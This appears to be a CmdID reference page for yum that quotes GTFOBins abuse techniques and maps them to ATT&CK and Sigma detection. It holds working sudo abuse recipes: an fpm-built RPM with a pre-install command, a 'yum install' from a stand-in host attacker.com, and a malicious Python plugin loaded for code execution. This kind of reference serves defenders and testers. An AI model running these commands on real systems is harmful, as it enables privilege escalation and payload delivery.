CmdID / Programs / Linux and Unix
yum
Package manager for Fedora 41+ and RHEL 10. For equivalent commands in other package managers, see <https://wiki.archlinux.org/title/Pacman/Rosetta>. tldr-pages
GTFOBins command, download, inherit 2 Sigma rules name it 1 ATT&CK technique 3 documented commands
How yum is abused
command
localinstall
-ydownload T1105 Ingress Tool Transfer
install
inherit
-c--enablepluginEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for yum.
3 documented commands
command with sudo
Generate the RPM package with fpm and upload it to the target.
echo /path/to/command >x.sh
fpm -n x -s dir -t rpm -a all --before-install .x.sh .yum localinstall -y x-1.0-1.noarch.rpmdownload with sudo
The file on the remote host must have the .rpm extension, but the content does not have to be an RPM file. The file will be downloaded to a randomly created directory in /var/tmp/yum-root-xxxxxx/.
yum install http://attacker.com/path/to/input-file.rpminherit with sudo
This allows to run Python code (...).
cat >/path/to/temp-dir/x<<EOF
[main]
plugins=1
pluginpath=/path/to/temp-dir/
pluginconfpath=/path/to/temp-dir/
EOF
cat >/path/to/temp-dir/y.conf<<EOF
[main]
enabled=1
EOF
cat >/path/to/temp-dir/y.py<<EOF
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
...
EOF
yum -c /path/to/temp-dir/x --enableplugin=yNone of the 3 commands CmdID reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for yum. CmdID reads the line of each that runs yum.